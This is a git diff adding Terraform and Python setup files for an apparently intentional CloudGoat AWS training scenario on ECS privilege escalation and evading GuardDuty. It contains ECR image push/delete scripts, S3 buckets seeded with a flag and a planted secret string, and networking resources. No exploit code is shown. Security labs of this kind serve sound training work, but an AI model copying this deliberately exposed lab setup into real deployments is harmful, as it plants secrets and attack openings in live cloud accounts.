b/scenarios/ecs_privesc_evade_protection/terraform/pop-dockerfile.py new file mode 100644 index 00000000..f5d76f3e --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/terraform/pop-dockerfile.py @@ -0,0 +1,57 @@ +import boto3 +import argparse + + +def delete_all_images(client, repository_name): + try: + response = client.list_images(repositoryName=repository_name) + image_ids = response['imageIds'] + + if not image_ids: + print("No images to delete.") + return + + delete_response = client.batch_delete_image( + repositoryName=repository_name, + imageIds=image_ids + ) + + if delete_response['failures']: + print("Failed to delete some images:", delete_response['failures']) + else: + print(f"All images in '{repository_name}' deleted successfully.") + except Exception as e: + print("Error deleting images:", e) + + +def delete_ecr_image(client, repository_name, image_tag): + try: + response = client.batch_delete_image( + repositoryName=repository_name, + imageIds=[{'imageTag': image_tag}] + ) + if response['failures']: + print("Failed to delete the image:", response['failures']) + else: + print(f"Image with tag '{image_tag}' deleted successfully.") + except Exception as e: + print("Error deleting image:", e) + + +def main(): + parser = argparse.ArgumentParser(description='Delete Docker image from AWS ECR.') + parser.add_argument('--repository', help='ECR repository name', required=True) + parser.add_argument('--region', help='AWS region', default='us-east-1') + parser.add_argument('--profile', help='AWS profile', default='default') + parser.add_argument('--image_tag', help='Docker image tag', required=True) + args = parser.parse_args() + + boto3.setup_default_session(profile_name=args.profile) + client = boto3.client("ecr", region_name=args.region) + + # Remove Docker image on ECR. + delete_all_images(client, args.repository) if args.image_tag == 'all' else delete_ecr_image(client, args.repository, args.image_tag) + + +if __name__ == "__main__": + main() diff --git a/scenarios/ecs_privesc_evade_protection/terraform/provider.tf b/scenarios/ecs_privesc_evade_protection/terraform/provider.tf new file mode 100644 index 00000000..de1cd7a6 --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/terraform/provider.tf @@ -0,0 +1,23 @@ +terraform { + required_version = ">= 1.6" + + required_providers { + aws = { + source = "hashicorp/aws" + version = ">= 5.0.0" + } + archive = { + source = "hashicorp/archive" + version = ">= 2.4" + } + time = { + source = "hashicorp/time" + version = ">= 0.9" + } + } +} + +provider "aws" { + profile = var.profile + region = var.region +} \ No newline at end of file diff --git a/scenarios/ecs_privesc_evade_protection/terraform/push-dockerfile.py b/scenarios/ecs_privesc_evade_protection/terraform/push-dockerfile.py new file mode 100644 index 00000000..4053c472 --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/terraform/push-dockerfile.py @@ -0,0 +1,77 @@ +# How to run: +# python3 push-dockerfile.py +import boto3 +import subprocess +import base64 +import argparse +import time + + +def run_command_with_retry(command, max_retries=3, delay=5): + for attempt in range(max_retries): + try: + subprocess.run(command, shell=True, check=True) + return + except subprocess.CalledProcessError: + if attempt < max_retries - 1: + print(f"Attempt `{command}` failed. Retrying after {delay} seconds...{attempt + 1}/{max_retries + 1}") + time.sleep(delay) + + +def create_ecr_repository(client, repository_name): + try: + response = client.describe_repositories(repositoryNames=[repository_name]) + print(f"Repository {repository_name} already exists.") + return response["repositories"][0]["repositoryUri"] + except client.exceptions.RepositoryNotFoundException: + print(f"Creating repository {repository_name}.") + response = client.create_repository(repositoryName=repository_name) + return response["repository"]["repositoryUri"] + + +def get_docker_login_cmd(client, region): + token = client.get_authorization_token()["authorizationData"][0] + username, password = ( + base64.b64decode(token["authorizationToken"]).decode().split(":") + ) + registry = token["proxyEndpoint"] + return f"docker login --username {username} --password {password} {registry}" + + +def docker_build_and_push(repository_uri, image_tag, path): + # Build the Docker image + docker_build_cmd = f"docker build --platform=linux/amd64 -t {repository_uri}:{image_tag} {path}" + subprocess.run(docker_build_cmd, shell=True, check=True) + + # Push the Docker image with retry + docker_push_cmd = f"docker push {repository_uri}:{image_tag}" + run_command_with_retry(docker_push_cmd) + + +def main(): + parser = argparse.ArgumentParser(description='Push Docker image to AWS ECR.') + parser.add_argument('--repository', help='ECR repository name', required=True) + parser.add_argument('--region', help='AWS region', default='us-east-1') + parser.add_argument('--profile', help='AWS profile', default='default') + parser.add_argument('--image_tag', help='Docker image tag', default='latest') + parser.add_argument('--dockerfile_path', help='Path of Dockerfile', default='.') + args = parser.parse_args() + + boto3.setup_default_session(profile_name=args.profile) + + client = boto3.client("ecr", region_name=args.region) + + # Step 1: Create ECR Repository + repository_uri = create_ecr_repository(client, args.repository) + print(f"Repository URI: {repository_uri}") + + # Step 2: Authenticate Docker with ECR + docker_login_cmd = get_docker_login_cmd(client, args.region) + subprocess.run(docker_login_cmd, shell=True, check=True) + + # Step 3: Build and Push Docker Image + docker_build_and_push(repository_uri, args.image_tag, args.dockerfile_path) + + +if __name__ == "__main__": + main() diff --git a/scenarios/ecs_privesc_evade_protection/terraform/s3.tf b/scenarios/ecs_privesc_evade_protection/terraform/s3.tf new file mode 100644 index 00000000..36760654 --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/terraform/s3.tf @@ -0,0 +1,79 @@ +#Secret S3 Bucket +locals { + # Ensure the bucket suffix doesn't contain invalid characters + # "Bucket names can consist only of lowercase letters, numbers, dots (.), and hyphens (-)." + # (per https://docs.aws.amazon.com/AmazonS3/latest/userguide/bucketnamingrules.html) + bucket_suffix = replace(var.cgid, "/[^a-z0-9-.]/", "-") +} + +# Create Secret Bucket +resource "aws_s3_bucket" "secret-s3-bucket" { + bucket = "cg-s3-${local.bucket_suffix}" + force_destroy = true +} + +# Store secret string for easy path in flag.txt +resource "aws_s3_object" "credentials_easy_path" { + bucket = aws_s3_bucket.secret-s3-bucket.id + key = "flag.txt" + source = "./flag.txt" +} + +# Store secret string for hard path in critical.txt +resource "aws_s3_object" "credentials_hard_path" { + bucket = aws_s3_bucket.secret-s3-bucket.id + key = "secret-string.txt" + source = "./secret-string.txt" +} + +# AWS CLI logs for GuardDuty analysis +resource "aws_s3_bucket" "cloudtrail_bucket" { + bucket = "cg-cloudtrail-s3-${local.bucket_suffix}" + force_destroy = true +} + +# Block public access for Cloudtrail Logs Bucket +resource "aws_s3_bucket_public_access_block" "trail_bucket_block_public" { + bucket = aws_s3_bucket.cloudtrail_bucket.id + + block_public_acls = true + block_public_policy = true + restrict_public_buckets = true + ignore_public_acls = true +} + +resource "aws_s3_bucket_policy" "trail_bucket_policy" { + bucket = aws_s3_bucket.cloudtrail_bucket.id + policy = jsonencode({ + Version = "2012-10-17", + Statement = [ + { + Effect = "Allow", + Action = "s3:GetObject", + Resource = "${aws_s3_bucket.cloudtrail_bucket.arn}/*", + Principal = { + Service = "guardduty.amazonaws.com" + } + },{ + Effect = "Allow", + Action = "s3:PutObject", + Resource = "${aws_s3_bucket.cloudtrail_bucket.arn}/*", + Principal = { + Service = "cloudtrail.amazonaws.com" + }, + Condition = { + StringEquals = { + "s3:x-amz-acl" = "bucket-owner-full-control" + } + } + },{ + Effect = "Allow", + Action = "s3:GetBucketAcl", + Resource = aws_s3_bucket.cloudtrail_bucket.arn, + Principal = { + Service = "cloudtrail.amazonaws.com" + } + } + ] + }) +} \ No newline at end of file diff --git a/scenarios/ecs_privesc_evade_protection/terraform/secret-string.txt b/scenarios/ecs_privesc_evade_protection/terraform/secret-string.txt new file mode 100644 index 00000000..f3a8250c --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/terraform/secret-string.txt @@ -0,0 +1 @@ +cg-secret-bob12-gC9!+Xy#QJ37fa@H3D7Kd@2*a&#+Tp% \ No newline at end of file diff --git a/scenarios/ecs_privesc_evade_protection/terraform/ses.tf b/scenarios/ecs_privesc_evade_protection/terraform/ses.tf new file mode 100644 index 00000000..d9ba6427 --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/terraform/ses.tf @@ -0,0 +1,4 @@ +# Create SES for sending emails. +resource "aws_ses_email_identity" "email" { + email = var.user_email +} \ No newline at end of file diff --git a/scenarios/ecs_privesc_evade_protection/terraform/variables.tf b/scenarios/ecs_privesc_evade_protection/terraform/variables.tf new file mode 100644 index 00000000..51becce0 --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/terraform/variables.tf @@ -0,0 +1,39 @@ +variable "profile" { + description = "The AWS profile to use." + type = string +} + +variable "region" { + description = "The AWS region to deploy resources to." + default = "us-east-1" + type = string +} + +variable "cgid" { + description = "CGID variable for unique naming." + type = string +} + +variable "cg_whitelist" { + description = "User's public IP address(es)." + type = list(string) + default = ["127.0.0.1/24"] +} + +variable "stack-name" { + description = "Name of the stack." + default = "CloudGoat" + type = string +} + +variable "scenario-name" { + description = "Name of the scenario." + default = "ecs_privesc_evade_protection" + type = string +} + +variable "user_email" { + description = "Once guardduty detects attack, a mail will be sent to you" + type = string +} + diff --git a/scenarios/ecs_privesc_evade_protection/terraform/vpc.tf b/scenarios/ecs_privesc_evade_protection/terraform/vpc.tf new file mode 100644 index 00000000..6f16ed07 --- /dev/null +++ b/scenarios/ecs_privesc_evade_protection/terraform/vpc.tf @@ -0,0 +1,72 @@ +resource "aws_vpc" "vpc" { + cidr_block = "192.168.150.0/24" + enable_dns_support = true + enable_dns_hostnames = true + + tags = { + "Name" = "cg-${var.cgid}-main" + } +} + +resource "aws_internet_gateway" "internet_gateway" { + vpc_id = aws_vpc.vpc.id + + tags = { + "Name" = "cg-${var.cgid}-main" + } +} + +resource "aws_subnet" "public" { + vpc_id = aws_vpc.vpc.id + availability_zone = data.aws_availability_zones.current_az.names[0] + cidr_block = "192.168.150.0/26" + + tags = { + "Name" = "cg-${var.cgid}-public" + } +} + +resource "aws_route_table" "public" { + vpc_id = aws_vpc.vpc.id + + route { + cidr_block = "0.0.0.0/0" + gateway_id = aws_internet_gateway.internet_gateway.id + } + + tags = { + "Name" = "cg-${var.cgid}-public" + } +} + +resource "aws_route_table_association" "route_table_association" { + subnet_id = aws_subnet.public.id + route_table_id = aws_route_table.public.id +} + +# Security Group for EC2 +# Allow http from whitelist IP. +# Allow All outbound. +resource "aws_security_group" "allow_http" { + name = "cg-${var.cgid}-allow-http" + description = "Allow inbound traffic on port 80 from whitelist IP" + vpc_id = aws_vpc.vpc.id + + ingress { + from_port = 80 + to_port = 80 + protocol = "tcp" + cidr_blocks = var.cg_whitelist + } + + egress { + from_port = 0 + to_port = 0 + protocol = "-1" + cidr_blocks = ["0.0.0.0/0"] + } + + tags = { + Name = "cg-allow-http-${var.cgid}" + } +} \ No newline at end of file